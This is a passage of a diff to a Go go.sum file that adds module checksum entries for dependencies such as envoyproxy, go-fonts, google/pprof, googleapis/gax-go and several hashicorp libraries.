h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= +github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= +github.com/envoyproxy/go-control-plane v0.11.1-0.20230524094728-9239064ad72f/go.mod h1:sfYdkwUW4BA3PbKjySwjJy+O4Pu0h62rlqCMHNk+K+Q= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= +github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= +github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= +github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= @@ -123,31 +902,45 @@ github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeME github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= +github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= +github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= +github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= +github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= +github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= +github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -155,6 +948,9 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -170,12 +966,16 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -183,12 +983,21 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -196,15 +1005,44 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/s2a-go v0.1.0/go.mod h1:OJpEgntRZo8ugHpF9hkoLJbS5dSI20XZeXJ9JVywLlM= +github.com/google/s2a-go v0.1.3/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= +github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= +github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= +github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= +github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= +github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= +github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= +github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= +github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= +github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/gax-go/v2 v2.8.0/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw= +github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= +github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -216,16 +1054,47 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= +github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= +github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= +github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= +github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= +github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo 